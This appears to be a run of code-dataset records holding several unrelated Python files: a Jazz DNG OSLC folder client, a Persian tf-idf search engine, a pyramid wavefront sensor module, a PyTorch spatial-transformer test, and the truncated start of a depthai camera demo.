func=None)[0].set(self.jazz_client.resolve_name(\"rdf:resource\"),\n self.service_provider)\n\n def get_folder_uri(self):\n return self.artifact_uri\n\n def get_root_folder_uri(self, op_name: str=None) -> str:\n folder_query_xpath = '//oslc:QueryCapability[dcterms:title=\"Folder Query Capability\"]/oslc:queryBase/@rdf:resource'\n folder_query_uri = self.jazz_client.get_service_provider_root().xpath(folder_query_xpath,\n namespaces=Jazz.xpath_namespace())[0]\n folder_result_xml = self.jazz_client.get_xml(folder_query_uri, op_name=op_name)\n root_path_uri = folder_result_xml.xpath(\"//nav:folder[dcterms:title=\\\"root\\\"]/@rdf:about\",\n namespaces=Jazz.xpath_namespace())[0]\n return root_path_uri\n\n def get_name(self, op_name=None) -> str:\n node = self.xml_root.xpath(\"//dcterms:title/text()\", namespaces=Jazz.xpath_namespace())\n return node[0]\n\n def get_subfolder_query(self, query: str):\n return self.jazz_client.get_xml(query, op_name=self.op_name)\n\n def get_subfolder_info(self, path: str, query: str) -> list:\n \"\"\"Return a list of matching subfolders\"\"\"\n result_list = []\n name_list = []\n\n split_path = path.split(\"/\")\n subfolders_root = self.get_subfolder_query(query)\n subfolder_list = subfolders_root.xpath(\"//nav:folder\", namespaces=Jazz.xpath_namespace())\n for candidate in subfolder_list:\n name = candidate.xpath(\".//dcterms:title/text()\", namespaces=Jazz.xpath_namespace())[0]\n if split_path[0] != name:\n continue\n\n sub_folder_query = candidate.xpath(\".//nav:subfolders/@rdf:resource\", namespaces=Jazz.xpath_namespace())[0]\n\n if len(split_path) > 1:\n result_list = result_list + self.get_subfolder_info(split_path[1], sub_folder_query)\n else:\n # No more path left, if we get here this is it!\n about = candidate.xpath(\"../nav:folder/@rdf:about\", namespaces=Jazz.xpath_namespace())[0]\n result_list.append(about)\n name_list.append(name)\n\n return result_list\n\n def get_uri_of_matching_folders(self, path: str) -> list:\n # FIXME: This search does not work properly for subfolders, but it should be possible...\n current_folder = self\n if path.startswith(\"/\"):\n current_folder = self.get_root_folder(self.jazz_client)\n path = path[1:]\n\n if not path:\n result_list = [current_folder.artifact_uri]\n else:\n result_list = self.get_subfolder_info(path, current_folder.subfolders)\n return result_list\n\n #\n # -- This belongs in DNGRequest (Maybe not. See below)\n #\n def get_folder_artifacts(self, path: str=\"\", name: str=None) -> list:\n parent_folder_uri_list = self.get_uri_of_matching_folders(path=path)\n\n parent_list = \" \".join([f\"<{uri}>\" for uri in parent_folder_uri_list])\n # fixme: by quoting name here, we lose the ability to do wildcard searches and arbitrary queries. :-(\n title_clause = f' and dcterms:title=\"{name}\"' if name is not None else \"\"\n # title_clause = f' and dcterms:title=*' if name is not None else \"\"\n xml_artifacts = self.jazz_client.query_xml(oslc_where=f\"nav:parent in [{parent_list}]{title_clause}\",\n oslc_select=\"*\")\n #\n # -- It might make sense here to return more information from the query. Collections appear\n # to provide identical XML:\n #\n # ---------------------------------------------------------------------------\n # \n # \n # 2018-02-13T00:19:21.059Z\n # \n # \n # PFH -- An Initial Requirement to play with \n # Copy of Copy of Copy of Copy of PFH -- An Initial Requirement to play with\n # \n # 2018-02-13T00:19:21.059Z\n # \n # 2018-02-13T00:19:21.059Z\n # 2018-02-13T00:19:21.059Z\n # \n # \n # 247584\n # \n # \n # \n # \n # \n # \n # \n # 2018-02-13T00:23:13.737Z\n # \n # \n # Copy of Copy of Test Collection\n # \n # 2018-02-13T00:23:13.737Z\n # \n # 2018-02-13T00:23:13.737Z\n # 2018-02-13T00:23:13.737Z\n # \n # \n # 247588\n # \n # \n # \n # \n # \n # ---------------------------------------------------------------------------\n n = Jazz.xpath_namespace()\n member = xml_artifacts.xpath(\"//rdfs:member/*\", namespaces=Jazz.xpath_namespace())\n member_list = [etree.tostring(item) for item in member]\n artifact_uris = [uri for uri in xml_artifacts.xpath(\"//rdfs:member/*/@rdf:about\", namespaces=Jazz.xpath_namespace())]\n return artifact_uris\n\n @classmethod\n def get_root_folder(cls, client: Jazz, op_name=None):\n if client.root_folder is None:\n folder_query_xpath = '//oslc:QueryCapability[dcterms:title=\"Folder Query Capability\"]/oslc:queryBase/@rdf:resource'\n folder_query_uri = client.get_service_provider_root().xpath(folder_query_xpath, namespaces=Jazz.xpath_namespace())[0]\n\n folder_result_xml = client.get_xml(folder_query_uri, op_name=op_name)\n\n root_folder_xpath = \"//nav:folder[dcterms:title=\\\"root\\\"]/@rdf:about\"\n root_path_uri = folder_result_xml.xpath(root_folder_xpath, namespaces=Jazz.xpath_namespace())[0]\n client.root_folder = Folder(client, folder_uri=root_path_uri)\n\n # TODO: Return folder instead of URI\n return client.root_folder\n\n @classmethod\n def create_folder(cls, client: Jazz, name: str=None, parent_folder: str=None, op_name: str=None) -> object:\n client.logger.debug(f\"create_folder('{name}')\")\n\n service_provider_url = client.get_service_provider()\n\n # Get the Project ID String\n project_id= re.split('/', service_provider_url)[-2]\n\n if name is None:\n name = \"OSLC Created\";\n\n if parent_folder is None:\n parent_folder = Folder.get_root_folder(client)\n\n target_project = \"?projectURL=\" + client.jazz_config['host'] + client.jazz_config['instance'] + \"/process/project-areas/\" + project_id\n folder_creation_factory = client.jazz_config['host'] + client.jazz_config['instance'] + \"/folders\" + target_project;\n\n xml = f'''\n \n \n \n {name}\n \n \n \n '''\n response = None\n\n def get_response(resp):\n nonlocal response\n response = resp\n\n xml_response = client.post_xml(folder_creation_factory, op_name=op_name, data=xml, check=get_response)\n\n if response.status_code not in [201]:\n raise PermissionError(f\"Unable to create folder '{name}', result status {response.status_code}\")\n\n return Folder(client, folder_uri=response.headers['location'])\n\n# Note: Folder does not have an 'instanceShape'\nJazz.map_shape_name_to_class(\"folder\", Folder)\n\n","sub_path":"jazz_dng_client/artifacts.py","file_name":"artifacts.py","file_ext":"py","file_size_in_byte":41051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"626846446","text":"from bisect import bisect_left\nfrom openpyxl import load_workbook\nimport re\nimport numpy as np\nimport pickle\nfrom prettytable import PrettyTable\nfrom math import log10, sqrt\nfrom heapq import heapify, heappush, heappop\nimport timeit\n\n\nclass SearchEngine:\n\n def _load_documents(self):\n wb = load_workbook(\"./input_data/IR_Spring2021_ph12_7k.xlsx\")\n sheet = wb.active\n\n self.content_list = []\n self.url_list = []\n self.length_list = []\n self.NUMBER_DOCS = 7000\n self.NUMBER_RESULTS = 20\n self.NUMBER_DOCS_CHAMPION_LIST = 40\n self.HEAP_ENABLE = True\n self.CHAMPION_LIST_ENABLE = True\n\n for i in range(2, self.NUMBER_DOCS + 2):\n data_id = int(sheet.cell(i, 1).value)\n data_content = sheet.cell(i, 2).value\n data_url = sheet.cell(i, 3).value\n self.content_list.append(data_content)\n self.url_list.append(data_url)\n\n def _load_lemmatize(self):\n file = open(\"./input_data/lemmatize\")\n self.lemmatize = []\n for line in file.readlines():\n past, present = line.split(\" \")\n self.lemmatize.append({\"past\": past, \"present\": present})\n\n def _load_mokassar(self):\n file = open(\"./input_data/mokassar\")\n self.mokassar = []\n for line in file.readlines():\n plural, single = line.split(\" \")\n self.mokassar.append({\"plural\": plural, \"single\": single})\n\n def _load_stop_normalization(self):\n file = open(\"./input_data/stop_normalization\")\n self.stop_normalization = set()\n for word in file.readlines():\n self.stop_normalization.add(word.strip())\n\n def _load_input_data(self):\n self._load_documents()\n self._load_lemmatize()\n self._load_mokassar()\n self._load_stop_normalization()\n\n @staticmethod\n def _preprocess_remove_redundant_symbol(text):\n text = re.sub('\\.', ' ', text)\n text = re.sub('،', ' ', text)\n text = re.sub(',', ' ', text)\n text = re.sub('\\n', ' ', text)\n text = re.sub(':', ' ', text)\n text = re.sub('؛', ' ', text)\n text = re.sub('\"', ' ', text)\n text = re.sub('“', ' ', text)\n text = re.sub('”', ' ', text)\n text = re.sub('\\(', ' ', text)\n text = re.sub('\\)', ' ', text)\n text = re.sub('\\]', ' ', text)\n text = re.sub('\\[', ' ', text)\n text = re.sub('-', ' ', text)\n text = re.sub('\\*', ' ', text)\n text = re.sub('«', ' ', text)\n text = re.sub('»', ' ', text)\n text = re.sub('؟', ' ', text)\n text = re.sub('\\?', ' ', text)\n text = re.sub('/', ' ', text)\n text = re.sub('!', ' ', text)\n text = re.sub('-', ' ', text)\n text = re.sub('–', ' ', text)\n text = re.sub('ـ', ' ', text)\n text = re.sub('_', ' ', text)\n text = re.sub('…', ' ', text)\n\n text = re.sub(u\"\\u064D\", ' ', text)\n text = re.sub(u\"\\u0650\", ' ', text)\n text = re.sub(u\"\\u064B\", ' ', text)\n text = re.sub(u\"\\u064E\", ' ', text)\n text = re.sub(u\"\\u064C\", ' ', text)\n text = re.sub(u\"\\u0651\", ' ', text)\n\n text = re.sub(r' +', ' ', text)\n return text\n\n @staticmethod\n def _preprocess_equalize(text):\n text = re.sub(\"ك\", \"ک\", text)\n text = re.sub(\"اً\", \"ا\", text)\n text = re.sub(\"أ\", \"ا\", text)\n text = re.sub(\"ؤً\", \"و\", text)\n text = re.sub(\"ة\", \"ه\", text)\n text = re.sub(\"ي\", \"ی\", text)\n\n text = re.sub(\"1\", \"۱\", text)\n text = re.sub(\"2\", \"۲\", text)\n text = re.sub(\"3\", \"۳\", text)\n text = re.sub(\"4\", \"۴\", text)\n text = re.sub(\"5\", \"۵\", text)\n text = re.sub(\"6\", \"۶\", text)\n text = re.sub(\"7\", \"۷\", text)\n text = re.sub(\"8\", \"۸\", text)\n text = re.sub(\"9\", \"۹\", text)\n text = re.sub(\"0\", \"۰\", text)\n return text\n\n @staticmethod\n def preprocess(text):\n text = SearchEngine._preprocess_remove_redundant_symbol(text)\n text = SearchEngine._preprocess_equalize(text)\n return text\n\n def _mine_tokens(self):\n self.tokens_list = []\n\n for content in self.content_list:\n text = content\n text = self.preprocess(text)\n tokens = re.split(\" \", text)\n self.tokens_list.append(tokens)\n\n @staticmethod\n def _normalize_remove_postfix(token):\n token = re.sub(r\" *تر$\", \"\", token)\n token = re.sub(r\" *��رین$\", \"\", token)\n token = re.sub(r\" *ها$\", \"\", token)\n token = re.sub(r\" *های$\", \"\", token)\n token = re.sub(r\" *ات$\", \"\", token)\n token = re.sub(r\"(\\u200c)+$\", \"\", token)\n return token\n\n @staticmethod\n def _normalize_remove_prefix(token):\n token = re.sub(r\"^می\", \"\", token)\n token = re.sub(r\"^(\\u200c)+\", \"\", token)\n token = re.sub(r\"^\\u200f\", \"\", token)\n return token\n\n def _normalize_lemmatize(self, token):\n for item in self.lemmatize:\n past = item[\"past\"]\n present = item[\"present\"]\n infinitive = past + \"ن\"\n\n past_postfix = [\"م\", \"یم\", \"ی\", \"ید\", \"\", \"ند\"]\n present_postfix = [\"م\", \"یم\", \"ی\", \"ید\", \"د\", \"ند\"]\n\n for postfix in past_postfix:\n verb = past + postfix\n if verb == token:\n return infinitive\n\n for postfix in present_postfix:\n verb = present + postfix\n if verb == token:\n return infinitive\n\n return token\n\n def _normalize_mokassar(self, token):\n for item in self.mokassar:\n if token == item[\"plural\"]:\n return item[\"single\"]\n\n return token\n\n def normalize(self, token):\n if token not in self.stop_normalization:\n token = self._normalize_remove_prefix(token)\n token = self._normalize_remove_postfix(token)\n token = self._normalize_lemmatize(token)\n token = self._normalize_mokassar(token)\n return token\n\n def _normalize_tokens(self):\n new_token_list = []\n for tokens in self.tokens_list:\n new_tokens = []\n for token in tokens:\n token = self.normalize(token)\n new_tokens.append(token)\n new_token_list.append(new_tokens)\n self.tokens_list = new_token_list\n\n def _find_stop_words(self):\n all_words = []\n for tokens in self.tokens_list:\n all_words += tokens\n\n values, counts = np.unique(all_words, return_counts=True)\n self.stop_words_threshold = 3500\n self.stop_words = []\n\n for i in range(len(values)):\n if counts[i] > self.stop_words_threshold:\n print(values[i])\n print(counts[i])\n self.stop_words.append(values[i])\n\n self.stop_words = set(self.stop_words)\n\n def _calculate_idf(self):\n print(self.inverted_index)\n\n for item in self.inverted_index:\n df = len(item[\"docs\"])\n idf = log10(self.NUMBER_DOCS / df)\n item[\"idf\"] = idf\n print(item)\n\n def _calculate_length(self):\n self.length_list = []\n for i in range(self.NUMBER_DOCS):\n self.length_list.append(0)\n\n for item in self.inverted_index:\n idf = item[\"idf\"]\n for doc in item[\"docs\"]:\n doc_id = doc[\"id\"]\n doc_tf = doc[\"tf\"]\n self.length_list[doc_id - 1] += idf * doc_tf\n\n for i in range(self.NUMBER_DOCS):\n self.length_list[i] = sqrt(self.length_list[i])\n\n def _aggregate_inverted_index(self):\n term_doc_list = []\n for i, tokens in enumerate(self.tokens_list):\n unique_tokens_list, unique_tokens_counts = np.unique(tokens, return_counts=True)\n\n # unique_tokens_list = set(tokens)\n # unique_tokens_list -= self.stop_words\n for j, word in enumerate(unique_tokens_list):\n if word not in self.stop_words:\n tf = 1 + log10(unique_tokens_counts[j])\n term_doc_list.append({'term': word, 'doc': i + 1, 'tf': tf})\n\n sorted_term_doc_list = sorted(term_doc_list, key=lambda x: x[\"term\"])\n\n self.inverted_index = []\n previous_term = None\n for term_doc in sorted_term_doc_list:\n current_term = term_doc[\"term\"]\n doc_id = term_doc[\"doc\"]\n tf = term_doc[\"tf\"]\n if previous_term != current_term:\n self.inverted_index.append({\"term\": current_term, \"docs\": []})\n self.inverted_index[-1][\"docs\"].append({\"id\": doc_id, \"tf\": tf})\n\n previous_term = current_term\n\n def _save_inverted_index(self):\n with open('./output_data/inverted_index', 'wb') as fp:\n pickle.dump(self.inverted_index, fp)\n with open('./output_data/dictionary', 'wb') as fp:\n pickle.dump(self.dictionary, fp)\n\n def load_inverted_index(self):\n self._load_input_data()\n with open('./output_data/inverted_index', 'rb') as fp:\n self.inverted_index = pickle.load(fp)\n with open('./output_data/dictionary', 'rb') as fp:\n self.dictionary = pickle.load(fp)\n self._calculate_length()\n\n def _get_documents(self, word):\n word = self.preprocess(word)\n word = re.sub(\" \", \"\", word)\n word = self.normalize(word)\n i = bisect_left(self.dictionary, word)\n if i != len(self.dictionary) and word == self.dictionary[i]:\n return self.inverted_index[i]\n else:\n return None\n\n def _get_context(self, doc_id):\n return self.content_list[doc_id - 1]\n\n def _get_url(self, doc_id):\n return self.url_list[doc_id - 1]\n\n def _create_dictionary(self):\n self.dictionary = []\n for x in self.inverted_index:\n self.dictionary.append(x[\"term\"])\n # if len(x[\"docs\"]) > 10:\n print(x[\"term\"])\n\n def _create_champion_list(self):\n for term_doc in self.inverted_index:\n if len(term_doc[\"docs\"]) <= self.NUMBER_DOCS_CHAMPION_LIST:\n term_doc[\"champion_docs\"] = term_doc[\"docs\"]\n else:\n docs = term_doc[\"docs\"]\n for doc in docs:\n doc[\"score\"] = 1.0 * doc[\"tf\"] / self.length_list[doc[\"id\"] - 1]\n\n sorted_doc = sorted(docs, key=lambda x: -x[\"score\"])[:self.NUMBER_DOCS_CHAMPION_LIST]\n for doc in sorted_doc:\n del doc[\"score\"]\n term_doc[\"champion_docs\"] = sorted(sorted_doc, key=lambda x: x[\"id\"])\n\n def create_inverted_index(self):\n self._load_input_data()\n self._mine_tokens()\n self._normalize_tokens()\n self._find_stop_words()\n self._aggregate_inverted_index()\n self._create_dictionary()\n self._calculate_idf()\n self._calculate_length()\n self._create_champion_list()\n self._save_inverted_index()\n\n @staticmethod\n def _is_finish_searching(doc_id_list, pointer_list):\n for i in range(len(doc_id_list)):\n if pointer_list[i] < len(doc_id_list[i]):\n return False\n return True\n\n @staticmethod\n def _next_pointer(pointer_list, doc_id_list, smallest_doc_id):\n new_pointers = []\n for i, pointer in enumerate(pointer_list):\n if pointer < len(doc_id_list[i]):\n doc_id = doc_id_list[i][pointer]\n if doc_id == smallest_doc_id:\n new_pointers.append(pointer + 1)\n else:\n new_pointers.append(pointer)\n else:\n new_pointers.append(pointer)\n\n return new_pointers\n\n @staticmethod\n def _get_smallest_doc_id(doc_id_list, pointer_list):\n smallest_doc_id = 1000 * 1000 * 1000\n smallest_doc_id_number = 0\n for i, pointer in enumerate(pointer_list):\n if pointer < len(doc_id_list[i]):\n doc_id = doc_id_list[i][pointer]\n if doc_id < smallest_doc_id:\n smallest_doc_id = doc_id\n smallest_doc_id_number = 1\n elif doc_id == smallest_doc_id:\n smallest_doc_id_number += 1\n\n return smallest_doc_id, smallest_doc_id_number\n\n def _search_multi_token(self, tokens):\n start = timeit.default_timer()\n score_dictionary = {}\n\n unique_tokens, counts = np.unique(tokens, return_counts=True)\n\n for i, token in enumerate(unique_tokens):\n documents = self._get_documents(token)\n if documents is not None:\n idf = documents[\"idf\"]\n query_tf = 1 + log10(counts[i])\n if self.CHAMPION_LIST_ENABLE:\n docs = documents[\"champion_docs\"]\n else:\n docs = documents[\"docs\"]\n\n for doc in docs:\n doc_id = doc[\"id\"]\n doc_tf = doc[\"tf\"]\n\n new_score = doc_tf * idf * query_tf\n if doc_id in score_dictionary:\n score_dictionary[doc_id] += new_score\n else:\n score_dictionary[doc_id] = new_score\n\n results = []\n if self.HEAP_ENABLE:\n heapify(results)\n\n for item in score_dictionary:\n result = {\"doc_id\": item, \"URL\": self._get_url(item),\n \"score\": score_dictionary[item] / self.length_list[item - 1]}\n\n if self.HEAP_ENABLE:\n heappush(results, (-result[\"score\"], (item, result)))\n else:\n results.append(result)\n\n final_results = []\n if self.HEAP_ENABLE:\n for i in range(self.NUMBER_RESULTS):\n if i >= len(score_dictionary):\n break\n heap_item = heappop(results)\n if heap_item is not None:\n result = heap_item[1][1]\n final_results.append(result)\n else:\n results = sorted(results, key=lambda x: -x[\"score\"])\n if len(results) < self.NUMBER_RESULTS:\n final_results = results\n else:\n final_results = results[:self.NUMBER_RESULTS]\n\n stop = timeit.default_timer()\n\n table = PrettyTable()\n table.field_names = [\"Row\", \"Score\", \"Doc ID\", \"URL\"]\n for i, result in enumerate(final_results):\n table.add_row([i + 1, result[\"score\"], result[\"doc_id\"], result[\"URL\"]])\n\n print(table)\n print(f\"Time: {(stop - start)*1000} mS \")\n\n def search(self, query):\n preprocessed_query = self.preprocess(query)\n tokens = preprocessed_query.split(\" \")\n self._search_multi_token(tokens)\n","sub_path":"search_engine.py","file_name":"search_engine.py","file_ext":"py","file_size_in_byte":15007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"634053077","text":"from wavefront_sensor import WavefrontSensorOptics, WavefrontSensorEstimator\nfrom fraunhofer import FraunhoferPropagator\nfrom plotting_field import imshow_field\nfrom apodization import SurfaceApodizer, PhaseApodizer\nfrom field import Field\nfrom util import make_pupil_grid, make_focal_grid\n\nimport numpy as np\n\ndef pyramid_surface(refractive_index, separation, wavelength_0):\n\t'''Creates a function which can create a pyramid surface on a grid.\n\n\tParameters\n\t----------\n\tseparation : scalar\n\t\tThe separation of the pupils in pupil diameters.\n\twavelength_0 : scalar\n\t\tThe reference wavelength for the filter specifications.\n\trefractive_index : lambda function\n\t\tA lambda function for the refractive index which accepts a wavelength.\n\n\tReturns\n\t----------\n\tfunc : function\n\t\tThe returned function acts on a grid to create the pyramid surface for that grid.\n\n\t'''\n\tdef func(grid):\n\t\tsurf = -separation / (refractive_index(wavelength_0) - 1) * (np.abs(grid.x) + np.abs(grid.y))\n\t\treturn SurfaceApodizer(Field(surf, grid), refractive_index)\n\treturn func\n\nclass PyramidWavefrontSensorOptics(WavefrontSensorOptics):\n\t'''The optical elements for a pyramid wavefront sensor.\n\n\tParameters\n\t----------\n\tpupil_grid : Grid\n\t\tThe input pupil grid.\n\tpupil_diameter : scalar\n\t\tThe size of the pupil.\n\t\tIf it is set to None the pupil_diameter will be the diameter of the pupil_grid.\n\tpupil_separation : scalar\n\t\tThe separation distance between the pupils in pupil diameters.\n\tnum_pupil_pixels : int\n\t\tThe number of pixels that are used to sample the output pupil.\n\tq : scalar\n\t\tThe focal plane oversampling coefficient.\n\twavelength_0 : scalar\n\t\tThe reference wavelength which determines the physical scales.\n\trefractive_index : function\n\t\tA function that returns the refractive index as function of wavelength.\n\tnum_airy : int\n\t\tThe size of the intermediate focal plane grid that is used in terms of lambda/D at the reference wavelength.\n\n\tAttributes\n\t----------\n\toutput_grid : Grid\n\t\tThe output grid of the wavefront sensor.\n\tfocal_grid : Grid\n\t\tThe intermediate focal plane grid where the focal plane is sampled.\n\tpupil_to_focal : FraunhoferPropagator\n\t\tA propagator for the input pupil plane to the intermediate focal plane.\n\tfocal_to_pupil : FraunhoferPropagator\n\t\tA propagator for the intermediate focal plane to the output pupil plane.\n\tpyramid : SurfaceApodizer\n\t\tThe filter that is applied in the focal plane.\n\t'''\n\tdef __init__(self, pupil_grid, wavelength_0=1, pupil_separation=1.5, pupil_diameter=None, num_pupil_pixels=32, q=4, refractive_index=lambda x : 1.5, num_airy=None):\n\t\tif pupil_diameter is None:\n\t\t\tpupil_diameter = pupil_grid.x.ptp()\n\n\t\t# Make mask\n\t\tsep = 0.5 * pupil_separation * pupil_diameter\n\n\t\t# Multiply by 2 because we want to have two pupils next to each other\n\t\toutput_grid_size = (pupil_separation + 1) * pupil_diameter\n\t\toutput_grid_pixels = np.ceil(num_pupil_pixels * (pupil_separation + 1))\n\n\t\t# Need at least two times over sampling in the focal plane because we want to separate two pupils completely\n\t\tif q < 2 * pupil_separation:\n\t\t\tq = 2 * pupil_separation\n\n\t\t# Create the intermediate and final grids\n\t\tself.output_grid = make_pupil_grid(output_grid_pixels, output_grid_size)\n\t\tself.focal_grid = make_focal_grid(pupil_grid, q=q, num_airy=num_airy, wavelength=wavelength_0)\n\n\t\t# Make all the optical elements\n\t\tself.pupil_to_focal = FraunhoferPropagator(pupil_grid, self.focal_grid, wavelength_0=wavelength_0)\n\t\tself.pyramid = pyramid_surface(refractive_index, sep, wavelength_0)(self.focal_grid)\n\t\tself.focal_to_pupil = FraunhoferPropagator(self.focal_grid, self.output_grid, wavelength_0=wavelength_0)\n\n\tdef forward(self, wavefront):\n\t\t'''Propagates a wavefront through the pyramid wavefront sensor.\n\n\t\tParameters\n\t\t----------\n\t\twavefront : Wavefront\n\t\t\tThe input wavefront that will propagate through the system.\n\n\t\tReturns\n\t\t-------\n\t\twf : Wavefront\n\t\t\tThe output wavefront.\n\t\t'''\n\t\twf = self.pupil_to_focal.forward(wf)\n\t\twf = self.pyramid.forward(wf)\n\t\twf = self.focal_to_pupil(wf)\n\n\t\treturn wf\n\nclass PyramidWavefrontSensorEstimator(WavefrontSensorEstimator):\n\t'''Estimates the wavefront slopes from pyramid wavefront sensor images.\n\n\tParameters\n\t----------\n\taperture : function\n\t\tA function which mask the pupils for the normalized differences.\n\toutput_grid : Grid\n\t\tThe grid on which the output of a pyramid wavefront sensor is sampled.\n\n\tAttributes\n\t----------\n\tmeasurement_grid : Grid\n\t\tThe grid on which the normalized differences are defined.\n\tpupil_mask : array_like\n\t\tA mask for the normalized differences.\n\tnum_measurements : int\n\t\tThe number of pixels in the output vector.\n\t'''\n\tdef __init__(self, aperture, output_grid):\n\t\tself.measurement_grid = make_pupil_grid(output_grid.shape[0] / 2, output_grid.x.ptp() / 2)\n\t\tself.pupil_mask = aperture(self.measurement_grid)\n\t\tself.num_measurements = 2 * int(np.sum(self.pupil_mask > 0))\n\n\tdef estimate(self, images):\n\t\t'''A function which estimates the wavefront slope from a pyramid image.\n\n\t\tParameters\n\t\t----------\n\t\timages - List\n\t\t\tA list of scalar intensity fields containing pyramid wavefront sensor images.\n\n\t\tReturns\n\t\t-------\n\t\tres - Field\n\t\t\tA field with wavefront sensor slopes.\n\t\t'''\n\t\timport warnings\n\t\twarnings.warn(\"This function does not work as expected and will be changed in a future update.\", RuntimeWarning)\n\n\t\timage = images.shaped\n\t\tsub_shape = image.grid.shape // 2\n\n\t\t# Subpupils\n\t\tI_a = image[:sub_shape[0], :sub_shape[1]]\n\t\tI_b = image[sub_shape[0]:2*sub_shape[0], :sub_shape[1]]\n\t\tI_c = image[sub_shape[0]:2*sub_shape[0], sub_shape[1]:2*sub_shape[1]]\n\t\tI_d = image[:sub_shape[0], sub_shape[1]:2*sub_shape[1]]\n\n\t\tnorm = I_a + I_b + I_c + I_d\n\n\t\tI_x = (I_a + I_b - I_c - I_d) / norm\n\t\tI_y = (I_a - I_b - I_c + I_d) / norm\n\n\t\tI_x = I_x.ravel()[self.pupil_mask>0]\n\t\tI_y = I_y.ravel()[self.pupil_mask>0]\n\n\t\tres = Field([I_x, I_y], self.pupil_mask.grid)\n\t\treturn res\n","sub_path":"new_pyramid.py","file_name":"new_pyramid.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"503141037","text":"import ez_torch as ez\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pytest\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom ez_torch.data import get_mnist_dl\nfrom ez_torch.modules import (\n Module,\n SpatialLinearTransformer,\n SpatialUVOffsetTransformer,\n)\nfrom ez_torch.vis import Fig\nfrom tqdm.auto import tqdm\n\n# matplotlib.use(\"TkAgg\")\n\n\ndef test_version():\n assert ez.__version__ == \"0.1.0\"\n\n\ndef test_SpatialUVOffsetTransformer_trainToBeIdentity():\n \"\"\"\n Important observations for the STN Training on being the identity.\n\n - Activation of the feature extractor is important\n - it dictates the distribution of the input activations\n => the initial params of the geometric transformation\n - The initial params should be so that the initial transformation is close to id\n - Activating with ReLU seems to be a good thing to do at the end of the feature extractor\n - Using SGD is crucial. Adam seems to be shaky, the momentum is leading to sporadic\n geometric transformations and we often get stuck at local minima\n - LR is important HParam here. Smaller is better with Adam (0.0001). SGD works best,\n even with large LR (0.01) we get convergence to a good solution.\n \"\"\"\n device = \"cuda\"\n\n class Model(Module):\n def __init__(self):\n super().__init__()\n self.feature_model = nn.Sequential(\n torchvision.models.resnet18(\n pretrained=False,\n progress=False,\n num_classes=32,\n ),\n nn.ReLU(),\n )\n # self.feature_model = nn.Sequential(\n # nn.Flatten(),\n # nn.Linear(28 * 28, 32),\n # nn.ReLU(),\n # )\n self.transform = SpatialUVOffsetTransformer(\n 32,\n uv_resolution_shape=(10, 10),\n )\n\n def criterion(self, y, y_target):\n return F.binary_cross_entropy(y, y_target)\n\n def forward(self, x):\n x_3d = x.repeat([1, 3, 1, 1])\n X_features = self.feature_model(x_3d)\n X_transformed = self.transform([X_features, x])\n return X_transformed\n\n train, test = get_mnist_dl(bs_train=16, bs_test=10, shuffle=False)\n X, y = next(iter(train))\n X = X.to(device)\n\n model = Model().to(device)\n model.configure_optim(lr=0.01)\n\n fig = Fig(\n nr=1,\n nc=4,\n ion=True,\n figsize=(20, 5),\n realtime_render=False,\n vid_path=\".tmp/out.mp4\",\n fps=10,\n )\n in_np = X.ez.grid(nr=4).channel_last.np\n fig[0].imshow(in_np)\n\n history = []\n tq = tqdm(range(30))\n for _i in tq:\n info = model.optim_step([X, X])\n loss = info[\"loss\"]\n X_transformed = info[\"y_pred\"]\n history.append(loss)\n tq.set_description(f\"Loss: {loss}\")\n\n # TODO: Fix animation updates\n fig[1].imshow(X_transformed.ez.grid(nr=4).channel_last.np)\n out_np = X_transformed.ez.grid(nr=4).channel_last.np\n fig[2].imshow(np.abs(in_np - out_np))\n fig[3].plot(history[-100:])\n fig.update()\n\n\nif __name__ == \"__main__\":\n pytest.main()\n","sub_path":"tests/test_ez_torch.py","file_name":"test_ez_torch.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"76341934","text":"#!/usr/bin/env python3\nimport os\nfrom itertools import cycle\nfrom pathlib import Path\nimport cv2\nimport depthai as dai\nimport platform\n\nimport numpy as np\n\nfrom depthai_helpers.arg_manager import parseArgs\nfrom depthai_helpers.config_manager import ConfigManager, DEPTHAI_ZOO, DEPTHAI_VIDEOS\nfrom depthai_helpers.version_check import checkRequirementsVersion\nfrom depthai_sdk import FPSHandler, loadModule, getDeviceInfo, downloadYTVideo, Previews\nfrom depthai_sdk.managers import NNetManager, PreviewManager, PipelineManager, EncodingManager, BlobManager\n\nDISP_CONF_MIN = int(os.getenv(\"DISP_CONF_MIN\", 0))\nDISP_CONF_MAX = int(os.getenv(\"DISP_CONF_MAX\", 255))\nSIGMA_MIN = int(os.getenv(\"SIGMA_MIN\", 0))\nSIGMA_MAX = int(os.getenv(\"SIGMA_MAX\", 250))\nLRCT_MIN = int(os.getenv(\"LRCT_MIN\", 0))\nLRCT_MAX = int(os.getenv(\"LRCT_MAX\", 10))\n\nprint('Using depthai module from: ', dai.__file__)\nprint('Depthai version installed: ', dai.__version__)\nif platform.machine() not in ['armv6l', 'aarch64']:\n checkRequirementsVersion()\n\nconf = ConfigManager(parseArgs())\nconf.linuxCheckApplyUsbRules()\nif not conf.useCamera:\n if str(conf.args.video).startswith('https'):\n conf.args.video = downloadYTVideo(conf.args.video, DEPTHAI_VIDEOS)\n print(\"Youtube video downloaded.\")\n if not Path(conf.args.video).exists():\n raise ValueError(\"Path {} does not exists!\".format(conf.args.video))\n\ncallbacks = loadModule(conf.args.callback)\nrgbRes = conf.getRgbResolution()\nmonoRes = conf.getMonoResolution()\n\n\nif conf.args.reportFile:\n reportFileP = Path(conf.args.reportFile).with_suffix('.csv')\n reportFileP.parent.mkdir(parents=True, exist_ok=True)\n reportFile = open(conf.args.reportFile, 'a')\n\n\ndef printSysInfo(info):\n m = 1024 * 1024 # MiB\n if not conf.args.reportFile:\n if \"memory\" in conf.args.report:\n print(f\"Drr used / total - {info.ddrMemoryUsage.used / m:.2f} / {info.ddrMemoryUsage.total / m:.2f} MiB\")\n print(f\"Cmx used / total - {info.cmxMemoryUsage.used / m:.2f} / {info.cmxMemoryUsage.total / m:.2f} MiB\")\n print(f\"LeonCss heap used / total - {info.leonCssMemoryUsage.used / m:.2f} / 